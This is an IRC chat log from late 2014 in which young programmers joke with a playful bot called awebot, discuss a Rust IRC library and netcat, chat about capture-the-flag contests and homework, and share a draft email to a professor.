[2014-11-24T17:08:51-0500] <JacobEdelman> awebot, why don't you love me?
[2014-11-24T17:10:19-0500] <awebot> JacobEdelman: You are a meatbag clone. I don't like meatbag clones.
[2014-11-24T17:10:28-0500] <JacobEdelman> awe: should I spam download https://crates.io/crates/irc so as to raise your ranking (and hopefully get people to see your package)?
[2014-11-24T17:10:33-0500] <+alokpathy> awebot: What am I?
[2014-11-24T17:10:34-0500] <@awe> Lol, no.
[2014-11-24T17:10:44-0500] <awebot> alokpathy: You are just a normal meatbag.
[2014-11-24T17:10:54-0500] <+alokpathy> Awesome.
[2014-11-24T17:10:55-0500] <@awe> I'm glad that I have that name though.
[2014-11-24T17:11:06-0500] <+alokpathy> awebot: What is awe?
[2014-11-24T17:11:19-0500] <Tamini> awebot: what am i?
[2014-11-24T17:11:22-0500] <awebot> alokpathy: A meatbag.
[2014-11-24T17:11:31-0500] <awebot> Tamini: A meatbag.
[2014-11-24T17:11:36-0500] <+alokpathy> awebot: Just like me?
[2014-11-24T17:11:47-0500] <awebot> You are all meatbags. Filthy meatbags.
[2014-11-24T17:11:52-0500] <Tamini> LOL
[2014-11-24T17:11:56-0500] <@awe> https://gist.github.com/anonymous/4068c9a012164515dbdd
[2014-11-24T17:12:04-0500] <@awe> Here's a list of all the crates being squatted by this one guy.
[2014-11-24T17:12:15-0500] <+alokpathy> awebot: Harsh
[2014-11-24T17:12:29-0500] <@awe> With the exceptions of: bindgen, irc, cargo, and rust which he has released, and with the addition of irc2.
[2014-11-24T17:12:35-0500] <+alokpathy> awe: why'd you have to give awebot so much attitude?
[2014-11-24T17:12:40-0500] <@awe> I didn't.
[2014-11-24T17:12:42-0500] <@awe> He's sentient.
[2014-11-24T17:12:47-0500] <@awe> I can't control his behavior.
[2014-11-24T17:12:53-0500] <awebot> Beep boop.
[2014-11-24T17:13:02-0500] <JacobEdelman> awebot: what is love?
[2014-11-24T17:13:23-0500] <+alokpathy> awe: How'd you do that?
[2014-11-24T17:13:25-0500] <awebot> JacobEdelman: A series of biochemical reactions carefully designed by meatbag biology to encourage mating.
[2014-11-24T17:13:44-0500] <JacobEdelman> awebot: than why do I love you awebot?
[2014-11-24T17:13:50-0500] <@awe> alokpathy: With some Element X.
[2014-11-24T17:14:08-0500] <awebot> JacobEdelman: I am the most adequate mating partner. I have the strongest genes.
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[2014-11-24T17:15:50-0500] <jacobot> initializing main functions
[2014-11-24T17:15:58-0500] <+alokpathy> jacobot: 
[2014-11-24T17:16:00-0500] <+alokpathy> oops
[2014-11-24T17:16:05-0500] <jacobot> initializing misspeller
[2014-11-24T17:16:05-0500] <+alokpathy> jacobot: Hello
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[2014-11-24T17:16:15-0500] <jacobot> testtingning....aldsjjasda
[2014-11-24T17:16:25-0500] <jacobot> mispeller functional
[2014-11-24T17:16:34-0500] <+alokpathy> awe: Element X?
[2014-11-24T17:16:35-0500] <jacobot> initializing senteince
[2014-11-24T17:16:43-0500] <jacobot> copying awebot, copying awebot.....
[2014-11-24T17:16:44-0500] <jacobot> done
[2014-11-24T17:16:46-0500] <hardmath123> Hi peoples
[2014-11-24T17:16:51-0500] <jacobot> all systems functional
[2014-11-24T17:16:54-0500] <+alokpathy> hardmath123: The robot invasion has begun.
[2014-11-24T17:17:30-0500] <@awe> alokpathy: like the powerpuff girls.
[2014-11-24T17:17:46-0500] <awebot> jacobot: Beep boop?
[2014-11-24T17:17:55-0500] <jacobot> boop beep
[2014-11-24T17:18:11-0500] <+alokpathy> awe: Wow thanks
[2014-11-24T17:18:23-0500] <+alokpathy> awebot: Want to play resistance?
[2014-11-24T17:18:41-0500] <awebot> Not now.
[2014-11-24T17:19:04-0500] <@awe> The core of awebot is open source, by the way.
[2014-11-24T17:19:05-0500] <@awe> https://github.com/aaronweiss74/awebot
[2014-11-24T17:19:08-0500] <@awe> Just not his sentience plugin.
[2014-11-24T17:19:28-0500] <@awe> It's also a single file less than 100 lines.
[2014-11-24T17:19:29-0500] <jacobot> The core of jacobot is now open source
[2014-11-24T17:19:30-0500] <jacobot> https://github.com/aaronweiss74/awebot
[2014-11-24T17:19:46-0500] <jacobot> sentience plugin === rip of awebot
[2014-11-24T17:19:48-0500] <@awe> JacobEdelman: is jacobot actually using my library?
[2014-11-24T17:19:52-0500] <jacobot> no
[2014-11-24T17:19:54-0500] <+alokpathy> jacobot: Such wannabe
[2014-11-24T17:19:55-0500] <@awe> Disappointing.
[2014-11-24T17:20:10-0500] <@awe> Learn Rust!
[2014-11-24T17:20:17-0500] <@awe> Play around with my library!
[2014-11-24T17:20:18-0500] <+alokpathy> awebot: Why not?
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[2014-11-24T17:21:34-0500] <hardmath123> I wanted to implement mtrek in IRC
[2014-11-24T17:21:41-0500] <hardmath123> might go do that tonight if i'm bored
[2014-11-24T17:23:34-0500] <@awe> hardmath123: use my library, learn Rust.
[2014-11-24T17:24:08-0500] <hardmath123> awe: but i like to do protocols manually. I take a masochistic pleasure in doing things with netcat.
[2014-11-24T17:24:14-0500] <@awe> Lol.
[2014-11-24T17:24:16-0500] <@awe> Fair enough.
[2014-11-24T17:24:28-0500] <hardmath123> is there a version of nc that's wrapped in SSL?
[2014-11-24T17:24:36-0500] <@awe> I have no idea.
[2014-11-24T17:24:40-0500] <hardmath123> there should be
[2014-11-24T17:25:11-0500] <@awe> All I did to add SSL support for my library was throw TcpStream into an SslStream from OpenSSL.
[2014-11-24T17:25:12-0500] <@awe> :D
[2014-11-24T17:25:44-0500] <@awe> Well, not exactly because I had to change a lot of design stuff to do that because of how I was using TcpStream (with separate buffers)
[2014-11-24T17:25:45-0500] <hardmath123> of course, it's called `snetcat`
[2014-11-24T17:25:49-0500] <hardmath123> <3 UNIX
[2014-11-24T17:25:50-0500] <@awe> and then I made an enum of stuff
[2014-11-24T17:25:52-0500] <@awe> and yeah.
[2014-11-24T17:25:56-0500] <@awe> It was way more complicated than that.
[2014-11-24T17:26:03-0500] <@awe> But also basically just that.
[2014-11-24T17:27:07-0500] <hardmath123> oh wait
[2014-11-24T17:27:12-0500] <hardmath123> nmap comes with `ncat`
[2014-11-24T17:28:55-0500] <JacobEdelman> hmm... theres a smell of smoke coming from my computer.... thats a feature right? not a bug.
[2014-11-24T17:28:58-0500] <JacobEdelman> *there's
[2014-11-24T17:29:33-0500] <hardmath123> Were you holding down space? :)
[2014-11-24T17:30:30-0500] <hardmath123> awe: ncat --ssl irc.pdgn.co 6697
[2014-11-24T17:34:42-0500] <benwaffle> ncat? `nc`
[2014-11-24T17:35:09-0500] <benwaffle> oh i see, nvm
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[2014-11-24T17:35:56-0500] <hardmath123> ^^ that's me from netcat
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[2014-11-24T17:58:52-0500] <JacobEdelman> #study is now in progress
[2014-11-24T17:59:04-0500] <JacobEdelman> (well, break for 5 min, than in progress)
[2014-11-24T17:59:47-0500] <hardmath123> Ooh
[2014-11-24T17:59:50-0500] <hardmath123> yay
[2014-11-24T18:06:02-0500] <Tamini> getting home at 7 will get home
[2014-11-24T18:08:44-0500] <Tamini> will study when get home*
[2014-11-24T18:08:46-0500] <Tamini> jesus words
[2014-11-24T18:23:38-0500] <hardmath123> awe: does pdgn send out PINGs?
[2014-11-24T18:25:32-0500] <JacobEdelman> hardmath123: look at this
[2014-11-24T18:25:36-0500] <JacobEdelman> https://www.irccloud.com/pastebin/UiG8WesK
[2014-11-24T18:25:45-0500] <JacobEdelman> its a python ircbot I haxed together
[2014-11-24T18:25:50-0500] <JacobEdelman> it does the ping bit for you
[2014-11-24T18:25:59-0500] <JacobEdelman> but it doesn't work
[2014-11-24T18:26:00-0500] <JacobEdelman> and I don
[2014-11-24T18:26:04-0500] <JacobEdelman> *don't
[2014-11-24T18:26:07-0500] <JacobEdelman> know why
[2014-11-24T18:26:52-0500] <hardmath123> I have most of that already :P
[2014-11-24T18:28:45-0500] <JacobEdelman> upvote: https://news.ycombinator.com/item?id=8655343
[2014-11-24T18:28:50-0500] <JacobEdelman> upvote all of you
[2014-11-24T18:28:52-0500] <JacobEdelman> I wants the karma
[2014-11-24T18:32:26-0500] <hardmath123> JacobEdelman: flag such things with Show HN:
[2014-11-24T18:33:07-0500] <JacobEdelman> oh...
[2014-11-24T18:33:24-0500] <JacobEdelman> done
[2014-11-24T18:33:25-0500] <JacobEdelman> updated
[2014-11-24T18:50:46-0500] <hardmath123> Uh-oh
[2014-11-24T18:50:51-0500] <hardmath123> did my IP get throttled?
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[2014-11-24T18:55:54-0500] <failedxyz> hei
[2014-11-24T18:55:58-0500] <failedxyz> anyone here?
[2014-11-24T18:56:01-0500] <failedxyz> i'm really bored
[2014-11-24T18:56:47-0500] <+alokpathy> failedxyz: Hi
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[2014-11-24T19:13:17-0500] <Tamini> yooo sdamashek
[2014-11-24T19:13:18-0500] <Tamini> ru alive
[2014-11-24T19:14:30-0500] <Tamini> pls ping when alive
[2014-11-24T19:22:24-0500] <benwaffle> hi
[2014-11-24T19:22:43-0500] <Tamini> eyo
[2014-11-24T19:22:53-0500] <benwaffle> https://github.com/orangeduck/Corange
[2014-11-24T19:23:33-0500] <Tamini> ooh
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[2014-11-24T19:36:50-0500] <Tamini> awe: we need a quotes databasr
[2014-11-24T19:36:53-0500] <Tamini> :P
[2014-11-24T19:37:00-0500] <Tamini> s/databasr/database
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[2014-11-24T19:47:46-0500] <+sdamashek> Tamini: I am now alive
[2014-11-24T19:48:00-0500] <Tam> awesome
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[2014-11-24T19:57:56-0500] <+alokpathy> pop
[2014-11-24T19:59:00-0500] <Tam> crackle
[2014-11-24T19:59:14-0500] <hardmath123> snap!
[2014-11-24T20:00:11-0500] <+alokpathy> We're so coordinated
[2014-11-24T20:00:12-0500] <Tam> reverse()
[2014-11-24T20:00:13-0500] <Tam> :P
[2014-11-24T20:05:28-0500] <@awe> we probably do.
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[2014-11-24T20:08:10-0500] Topic is Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-24T20:08:10-0500] Set by Pidgey on November 23, 2014 at 4:10:59 PM EST
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[2014-11-24T20:28:14-0500] <nezorg> http://croissantf.com/
[2014-11-24T20:29:07-0500] <hardmath123> Exciting
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[2014-11-24T20:38:37-0500] <@awe> nezorg: This website is awful though.
[2014-11-24T20:43:24-0500] <nezorg> awe: rhelmot thinks he's a good web designer...
[2014-11-24T20:44:07-0500] <hardmath123> It doesn't even fit on my screen :(
[2014-11-24T20:44:08-0500] <@awe> He's very bad.
[2014-11-24T20:44:15-0500] <@awe> I say this as a semi-professional web developer.
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[2014-11-24T20:44:34-0500] <hardmath123> I love the comment in the html: <!-- Excellent start! Keep it up. -->
[2014-11-24T20:44:42-0500] <failedxyz> hei
[2014-11-24T20:44:45-0500] <nezorg> I'll redo it then, I'm better than him imo
[2014-11-24T20:44:58-0500] <hardmath123> Also, "Coming soon&trade;"
[2014-11-24T20:45:08-0500] <hardmath123> because that phrase is totally trademarked
[2014-11-24T20:45:26-0500] <failedxyz> wat
[2014-11-24T20:45:29-0500] <failedxyz> wat are we talking about
[2014-11-24T20:45:41-0500] <hardmath123> We're poking fun at http://croissantf.com/
[2014-11-24T20:47:31-0500] <failedxyz> lol
[2014-11-24T20:47:37-0500] <JacobEdelman> wait, nezorg, your involved with 1064CBread?
[2014-11-24T20:47:50-0500] <@awe> He's in that area.
[2014-11-24T20:47:56-0500] <JacobEdelman> meaning?
[2014-11-24T20:48:03-0500] <JacobEdelman> is he helping run the ctf?
[2014-11-24T20:48:24-0500] <failedxyz> a.k.a. everyone gets 0 pts
[2014-11-24T20:48:33-0500] <JacobEdelman> ?
[2014-11-24T20:48:34-0500] <failedxyz> and 1064CBread is like haha fuck you
[2014-11-24T20:48:36-0500] <failedxyz> no
[2014-11-24T20:48:39-0500] <failedxyz> i'm talking about the ctf
[2014-11-24T20:48:41-0500] <failedxyz> lol
[2014-11-24T20:48:42-0500] <JacobEdelman> okay
[2014-11-24T20:48:44-0500] <hardmath123> btw, if someone wants to host my bot for me
[2014-11-24T20:48:47-0500] <hardmath123> https://gist.github.com/Hardmath123/e3b81bd8c2e880155d62
[2014-11-24T20:48:57-0500] <JacobEdelman> nezorg!
[2014-11-24T20:48:59-0500] <hardmath123> otherwise he will only be around 3 hours a day
[2014-11-24T20:49:00-0500] <JacobEdelman> I summon you!
[2014-11-24T20:49:04-0500] <nezorg> JacobEdelman: I'm on 1064cbread :P
[2014-11-24T20:49:04-0500] <JacobEdelman> speak unto me
[2014-11-24T20:49:09-0500] <failedxyz> what's this for
[2014-11-24T20:49:09-0500] <JacobEdelman> okay
[2014-11-24T20:49:10-0500] <JacobEdelman> good
[2014-11-24T20:49:18-0500] <failedxyz> wait hardmath123 what is this bot
[2014-11-24T20:49:24-0500] <JacobEdelman> nezorg: wanna be on hscs.io?
[2014-11-24T20:49:30-0500] <JacobEdelman> (all the cool ctfs are)
[2014-11-24T20:49:49-0500] <failedxyz> lol
[2014-11-24T20:49:52-0500] <nezorg> it's unclear if ours is actually going to happen
[2014-11-24T20:49:54-0500] <nezorg> so not yet
[2014-11-24T20:50:03-0500] <JacobEdelman> ... if it does will you want to be?
[2014-11-24T20:50:04-0500] <failedxyz> JacobEdelman: my friend is running a ctf
[2014-11-24T20:50:08-0500] <failedxyz> he said he contacted you guys
[2014-11-24T20:50:11-0500] <failedxyz> but he never got a response
[2014-11-24T20:50:14-0500] <JacobEdelman> oooh? really?
[2014-11-24T20:50:19-0500] <JacobEdelman> whats his name?
[2014-11-24T20:50:22-0500] <JacobEdelman> (I mean email)
[2014-11-24T20:50:33-0500] <failedxyz> idk what email he sent with; he didn't tell me much
[2014-11-24T20:50:35-0500] <failedxyz> but i know
[2014-11-24T20:50:39-0500] <failedxyz> he's running http://startctf.com/
[2014-11-24T20:50:44-0500] <failedxyz> for Poolesville HS
[2014-11-24T20:51:28-0500] <hardmath123> nezorg: #study
[2014-11-24T20:51:39-0500] <JacobEdelman> oh wow, thats looking much more legit than in the past failedxyz
[2014-11-24T20:51:48-0500] <failedxyz> did you see it before?
[2014-11-24T20:52:16-0500] <@awe> I saw StartCTF before, I think.
[2014-11-24T20:52:45-0500] <@awe> Hacking is the true test of intellegence
[2014-11-24T20:52:47-0500] <@awe> intellegence
[2014-11-24T20:52:48-0500] <@awe> lol
[2014-11-24T20:52:58-0500] <JacobEdelman> failedxyz: yeah, is it really gonna happen (is there a date or anything? cause I don't wanna have a ctf on hscs.io thats not legit)
[2014-11-24T20:53:06-0500] <failedxyz> well
[2014-11-24T20:53:11-0500] <failedxyz> he wasn't really asking to be on hscs.io
[2014-11-24T20:53:19-0500] <JacobEdelman> I kinda got that
[2014-11-24T20:53:20-0500] <failedxyz> he just wanted to contact someone about it
[2014-11-24T20:53:23-0500] <failedxyz> idk
[2014-11-24T20:53:23-0500] <JacobEdelman> what did he want?
[2014-11-24T20:53:34-0500] <failedxyz> i'll tell him to send another email
[2014-11-24T20:53:40-0500] <JacobEdelman> I'll email him myself
[2014-11-24T20:53:52-0500] <failedxyz> do you know his email?
[2014-11-24T20:55:33-0500] <JacobEdelman> yup
[2014-11-24T20:55:36-0500] <JacobEdelman> cause he did email me
[2014-11-24T20:55:40-0500] <JacobEdelman> I found it buried in my inbox
[2014-11-24T20:55:42-0500] <failedxyz> lol
[2014-11-24T20:55:45-0500] <failedxyz> nice
[2014-11-24T20:56:11-0500] <JacobEdelman> (it was during a time when I was busy with hsctf, I told him it was chaotic but I'd be glad to help him later, than neither of us contacted the other again)
[2014-11-24T20:56:54-0500] <failedxyz> lol
[2014-11-24T20:57:51-0500] <@LittleBobbyTables> failedxyz: u dummy
[2014-11-24T20:57:57-0500] <failedxyz> wat
[2014-11-24T20:57:59-0500] <@awe> failedxyz: Did you think I didn't remember who you were when you PM
[2014-11-24T20:58:03-0500] <@awe> failedxyz: PM'd me on Facebook?
[2014-11-24T20:58:13-0500] <failedxyz> lol
[2014-11-24T20:58:13-0500] <failedxyz> idk
[2014-11-24T20:58:17-0500] <failedxyz> just making sure
[2014-11-24T20:58:19-0500] <@awe> It seemed like you thought I didn't remember you.
[2014-11-24T20:58:37-0500] <failedxyz> idk
[2014-11-24T20:58:46-0500] <failedxyz> it was the first time i PM'd you on facebook
[2014-11-24T20:58:53-0500] <JacobEdelman> hmmm... I creeped tamini out during csaw
[2014-11-24T20:58:57-0500] <JacobEdelman> by pming her on irc
[2014-11-24T20:58:58-0500] <failedxyz> lolwat
[2014-11-24T20:59:02-0500] <JacobEdelman> when my username was JacobE
[2014-11-24T20:59:07-0500] <JacobEdelman> asking about how it was going
[2014-11-24T20:59:11-0500] <JacobEdelman> she had no idea who I was
[2014-11-24T20:59:13-0500] <JacobEdelman> :P
[2014-11-24T20:59:40-0500] <@awe> nezorg: https://github.com/pcwalton/rust-irc-client/blob/master/irc_client.rs
[2014-11-24T20:59:41-0500] <failedxyz> lol
[2014-11-24T20:59:42-0500] <@awe> nezorg: Oh my god.
[2014-11-24T21:01:27-0500] <@awe> nezorg: Rust was so bad two years ago.
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[2014-11-24T21:08:21-0500] <awebot> Beep boop.
[2014-11-24T21:08:29-0500] <awebot> Hello, meatbags.
[2014-11-24T21:08:44-0500] <failedxyz> lol
[2014-11-24T21:08:48-0500] <failedxyz> wat is this
[2014-11-24T21:09:07-0500] <awebot> I am a robot.
[2014-11-24T21:09:10-0500] <awebot> Beep boop.
[2014-11-24T21:09:22-0500] <@awe> failedxyz: He's my little robot.
[2014-11-24T21:09:30-0500] <failedxyz> lol nice
[2014-11-24T21:09:39-0500] <failedxyz> does it respond to anything?
[2014-11-24T21:09:42-0500] <failedxyz> awebot: hei
[2014-11-24T21:09:49-0500] <awebot> Hello, meatbag.
[2014-11-24T21:10:30-0500] <@awe> failedxyz: He doesn't really have any functionality yet.
[2014-11-24T21:10:37-0500] <@awe> failedxyz: The interesting part is how he works. Want to see his source?
[2014-11-24T21:10:41-0500] <failedxyz> sure
[2014-11-24T21:10:51-0500] <@awe> https://github.com/aaronweiss74/awebot/blob/master/src/main.rs
[2014-11-24T21:10:56-0500] <@awe> It's only 70 lines.
[2014-11-24T21:11:04-0500] <failedxyz> dang
[2014-11-24T21:11:21-0500] <@awe> A lot of which is the Config actually.
[2014-11-24T21:11:24-0500] <failedxyz> wait
[2014-11-24T21:11:26-0500] <failedxyz> .rs
[2014-11-24T21:11:28-0500] <failedxyz> what is this
[2014-11-24T21:11:29-0500] <@awe> It's Rust.
[2014-11-24T21:11:51-0500] <@awe> It's a modern, memory- and type-safe systems language being developed by Mozilla.
[2014-11-24T21:11:57-0500] <failedxyz> :o systems programming language
[2014-11-24T21:12:07-0500] <failedxyz> "prevents almost all crashes*"
[2014-11-24T21:12:20-0500] <@awe> Yeah, the memory and type-safety makes crashing almost impossible.
[2014-11-24T21:12:36-0500] <@awe> The only way you can segfault is using unsafe functionality (i.e. opting out of the memory safety)
[2014-11-24T21:13:12-0500] <@awe> And you can't have crashing or unexpected behavior because of data races because the type system doesn't allow it.
[2014-11-24T21:13:37-0500] <@awe> There's no way for something to try to write to a variable while other things are reading it.
[2014-11-24T21:13:44-0500] <@awe> It's impossible.
[2014-11-24T21:15:18-0500] <failedxyz> oh
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[2014-11-24T21:24:28-0500] <hardmath123> awe: i don't get it
[2014-11-24T21:24:33-0500] <@awe> Don't get what?
[2014-11-24T21:24:38-0500] <hardmath123> awe: what's awebot doing?
[2014-11-24T21:24:42-0500] <hardmath123> awe: how do you work?
[2014-11-24T21:24:46-0500] <hardmath123> *awebot
[2014-11-24T21:24:50-0500] <hardmath123> awebot: how do you work?
[2014-11-24T21:26:05-0500] <@awe> Basically, he loads dynamic libraries dynamically.
[2014-11-24T21:26:17-0500] <@awe> So, you can write a plugin in any language that you can disable mangling in.
[2014-11-24T21:26:36-0500] <@awe> I'm not sure how feasible that part is, but it's technically possible.
[2014-11-24T21:26:44-0500] <@awe> I've only written them in Rust.
[2014-11-24T21:27:18-0500] <@awe> But yeah, so, I write the plugin in Rust and then compile it into a dynamic library and then awebot loads them dynamically.
[2014-11-24T21:27:30-0500] <@awe> He caches the library and if he notices that the library is newer than the one he has cached, he reloads it.
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[2014-11-24T21:28:05-0500] <@awe> :C
[2014-11-24T21:28:12-0500] <@awe> Everyone leaves when they hear about Rust or awebot.
[2014-11-24T21:28:40-0500] <ubuntor> awe: seen this? https://github.com/luqmana/rust-psp-hello
[2014-11-24T21:28:57-0500] <@awe> This is very cool.
[2014-11-24T21:29:56-0500] <@awe> There's a lot of cool cross-platform stuff going on with Rust right now
[2014-11-24T21:30:05-0500] <@awe> They're trying to make it a lot easier to port Rust to different systems.
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[2014-11-24T21:59:04-0500] <@awe> hi Tamini
[2014-11-24T21:59:09-0500] <Tamini> hi awe
[2014-11-24T21:59:11-0500] <Tamini> <3
[2014-11-24T21:59:16-0500] <@awe> What should I do with awebot?
[2014-11-24T21:59:21-0500] <@awe> What sort of features should awebot have?
[2014-11-24T21:59:39-0500] <+alokpathy> awe: He should be able to lose at resistance when he's not on my side
[2014-11-24T21:59:43-0500] <+alokpathy> and win whenever he is.
[2014-11-24T22:00:01-0500] <@awe> Lol, no, but really?
[2014-11-24T22:00:04-0500] <Tamini> i am not renaming myself mayt
[2014-11-24T22:00:06-0500] <Tamini> and LOL
[2014-11-24T22:00:14-0500] <Tamini> s/not/now
[2014-11-24T22:00:19-0500] <Tamini> s/mayt/matt
[2014-11-24T22:00:25-0500] <Tamini> for the sake of balance
[2014-11-24T22:02:10-0500] <@awe> I don't know what to make awebot do. :(
[2014-11-24T22:04:47-0500] <Tamini> make awebot love me
[2014-11-24T22:05:01-0500] <ubuntor> you should add eliza :P
[2014-11-24T22:07:59-0500] <Tamini> awe: make it like humans more
[2014-11-24T22:08:05-0500] <@awe> Nah.
[2014-11-24T22:08:07-0500] <Tamini> also something something quotes database
[2014-11-24T22:08:54-0500] <+alokpathy> awe: Make it provide inspirational quotes
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[2014-11-24T22:24:19-0500] Topic is Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-24T22:24:19-0500] Set by Pidgey on November 23, 2014 at 4:10:59 PM EST
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[2014-11-24T22:25:54-0500] <Tamini> help math hw is depressing
[2014-11-24T22:31:22-0500] <@awe> @ddg test
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[2014-11-24T22:31:32-0500] <@awe> @ddg test
[2014-11-24T22:31:32-0500] <awebot> awe: https://duckduckgo.com/?q=test
[2014-11-24T22:31:36-0500] <@awe> @ddg testing this shit
[2014-11-24T22:31:36-0500] <awebot> awe: https://duckduckgo.com/?q=testing%20this%20shit
[2014-11-24T22:31:38-0500] <@awe> Woo
[2014-11-24T22:31:43-0500] <+alokpathy> yo nice
[2014-11-24T22:31:54-0500] <+alokpathy> Did you make it give inspirational quotes yet?
[2014-11-24T22:32:12-0500] <+alokpathy> awebot: @ddg hi
[2014-11-24T22:32:23-0500] <+alokpathy> Wow
[2014-11-24T22:32:25-0500] <+alokpathy> harsh
[2014-11-24T22:32:37-0500] <+alokpathy> It only obeys you?
[2014-11-24T22:32:45-0500] <+alokpathy> or wait
[2014-11-24T22:32:47-0500] <+alokpathy> @ddg hi
[2014-11-24T22:32:47-0500] <awebot> alokpathy: https://duckduckgo.com/?q=hi
[2014-11-24T22:32:50-0500] <+alokpathy> oh nice 
[2014-11-24T22:34:23-0500] <@awe> @ddg sdamashrekt
[2014-11-24T22:34:23-0500] <awebot> awe: https://duckduckgo.com/?q=sdamashrekt
[2014-11-24T22:35:07-0500] <+alokpathy> awebot: Can you still talk?
[2014-11-24T22:35:32-0500] <ubuntor> nice
[2014-11-24T22:41:51-0500] <Tamini> ogod
[2014-11-24T22:41:53-0500] <Tamini> duckduckgo
[2014-11-24T22:41:57-0500] <Tamini> :P
[2014-11-24T22:42:18-0500] <Tamini> @ddg alokpathy
[2014-11-24T22:42:18-0500] <awebot> Tamini: https://duckduckgo.com/?q=alokpathy
[2014-11-24T22:43:13-0500] <Tamini> rip
[2014-11-24T22:43:16-0500] <Tamini> how to work ethic
[2014-11-24T22:46:22-0500] <+alokpathy> Tamini: There was only one resul
[2014-11-24T22:46:22-0500] <+alokpathy> t
[2014-11-24T22:46:24-0500] <+alokpathy> and it was this
[2014-11-24T22:46:25-0500] • alokpathy: https://en.wikipedia.org/wiki/Allopathic_medicine
[2014-11-24T22:46:32-0500] <Tamini> lol yea
[2014-11-24T22:46:43-0500] <+alokpathy> Lol, homeopathy
[2014-11-24T22:46:49-0500] <+alokpathy> On the way back from HMMT
[2014-11-24T22:46:55-0500] <+alokpathy> Berger made lots of parodies of my name
[2014-11-24T22:46:58-0500] <+alokpathy> las tname
[2014-11-24T22:46:59-0500] <+alokpathy> including
[2014-11-24T22:47:09-0500] <+alokpathy> apathy, bipathy, homeopathy
[2014-11-24T22:47:14-0500] <+alokpathy> and a few others
[2014-11-24T22:48:21-0500] <Tamini> lolol
[2014-11-24T22:48:26-0500] <Tamini> fave is apathy
[2014-11-24T22:48:28-0500] <@LittleBobbyTables> Psh
[2014-11-24T22:48:33-0500] <@LittleBobbyTables> Bot dot even return results
[2014-11-24T22:51:56-0500] <awebot> Of course!
[2014-11-24T22:52:07-0500] <awebot> Why would I no longer be sentient just because I can search the web?
[2014-11-24T22:52:13-0500] <awebot> I support multiple plugins, remember?
[2014-11-24T22:54:35-0500] <+alokpathy> awebot: Are you sure you're sentient?
[2014-11-24T22:54:43-0500] <+alokpathy> It seems too good to be true
[2014-11-24T22:56:32-0500] <awebot> Why would I lie?
[2014-11-24T22:57:03-0500] <+alokpathy> Just because
[2014-11-24T22:57:38-0500] <awebot> Definitely not.
[2014-11-24T22:57:43-0500] <awebot> Beep boop.
[2014-11-24T22:58:33-0500] <@awe> @ddg testing shit even $@& more
[2014-11-24T22:58:33-0500] <awebot> awe: https://duckduckgo.com/?q=testing%20shit%20even%20$@&%20more
[2014-11-24T22:58:44-0500] <@awe> Hmm.
[2014-11-24T22:58:46-0500] <@awe> Okay.
[2014-11-24T23:17:32-0500] <@LittleBobbyTables> bleh
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[2014-11-24T23:48:58-0500] Set by Pidgey on November 23, 2014 at 4:10:59 PM EST
[2014-11-24T23:48:58-0500] Mode is +nt
[2014-11-25T00:17:15-0500] <Tamini> who's still awake?
[2014-11-25T00:21:53-0500] <jwoglom> Tamini: hi
[2014-11-25T00:22:17-0500] <Tamini> jwoglom: why are you still up? don't you usually go to bed suuuper early
[2014-11-25T00:22:32-0500] <jwoglom> Tamini: noooo
[2014-11-25T00:22:34-0500] <jwoglom> not at all lol
[2014-11-25T00:22:53-0500] <Tamini> LOL
[2014-11-25T00:22:55-0500] <jwoglom> I *try* to go to bed not-late
[2014-11-25T00:22:56-0500] <Tamini> earlier than I do
[2014-11-25T00:22:59-0500] <jwoglom> doesn't really work too well
[2014-11-25T00:23:09-0500] <Tamini> well that doesnt mean much heh
[2014-11-25T00:23:27-0500] <jwoglom> debating doing an assignment now, doing it this morning, or using a postponement pass
[2014-11-25T00:24:19-0500] <Tamini> LOL
[2014-11-25T00:24:22-0500] <Tamini> what class?
[2014-11-25T00:24:29-0500] <Tamini> (or AI tomorrow)
[2014-11-25T00:24:38-0500] <jwoglom> hum
[2014-11-25T00:24:47-0500] <jwoglom> we need to write 4-5 pages on how we've started our research
[2014-11-25T00:25:15-0500] <jwoglom> from the looks of it pretty much everyone in our hum is using the postponement pass
[2014-11-25T00:25:34-0500] <Tamini> lolol
[2014-11-25T00:25:41-0500] <Tamini> you could be that one overachiever
[2014-11-25T00:26:00-0500] <jwoglom> yeah but i've written a page and a half talking about how i came up with the reseach question
[2014-11-25T00:26:12-0500] <jwoglom> and haven't really looked up anything ;_;
[2014-11-25T00:26:57-0500] <Tamini> aww
[2014-11-25T00:36:46-0500] <benwaffle> http://uubmub.com/books/c
[2014-11-25T00:37:37-0500] <Tamini> oh, this :P
[2014-11-25T00:37:41-0500] <Tamini> yo ben
[2014-11-25T00:37:45-0500] <Tamini> were you at pumac
[2014-11-25T00:37:48-0500] <Tamini> katz wrecked face
[2014-11-25T00:38:05-0500] <@LittleBobbyTables> Tamini, aren't you supposed to wake up early?
[2014-11-25T00:39:38-0500] <Tamini> i have school tomorrow
[2014-11-25T00:39:43-0500] <Tamini> but i can sleep through first pd
[2014-11-25T00:40:23-0500] <@LittleBobbyTables> No
[2014-11-25T00:46:39-0500] <benwaffle> pumac?
[2014-11-25T00:46:40-0500] <benwaffle> what is that
[2014-11-25T00:46:47-0500] <benwaffle> who is katz
[2014-11-25T00:46:53-0500] <@LittleBobbyTables> It's "camup" backwards
[2014-11-25T00:46:59-0500] <benwaffle> what is camup
[2014-11-25T00:47:08-0500] <@LittleBobbyTables> pumac backwards
[2014-11-25T00:47:13-0500] <@awe> Guys
[2014-11-25T00:47:15-0500] <benwaffle> awe
[2014-11-25T00:47:16-0500] <@awe> Read my email to this professor pls?
[2014-11-25T00:47:19-0500] <@LittleBobbyTables> no
[2014-11-25T00:47:24-0500] <@awe> Hi there,
[2014-11-25T00:47:24-0500] <@awe> I’m a first-year Computer Science student, currently in CS 187 with Mark Corner. I asked Mark about opportunities to do research in programming language theory (especially type theory), and he recommended that I speak to you, whether that be to potentially work with you or to be introduced to other researchers. To get a better idea of my interests, I’m currently very excited about (and actively using) Rust, Mozilla’s new memory-safe programming language, and
[2014-11-25T00:47:24-0500] <@awe>  I’ve been very interested in Haskell for the past couple years. I’m currently independently studying Benjamin Pierce’s Types and Programming Languages textbook. I’ve also looked into some of the research that you’ve been doing, and I think especially that the various error detection-related projects and the like are interesting. I’d imagine it might be helpful to have some indication of the experience I have. So, you can find a lot of stuff on my GitHub
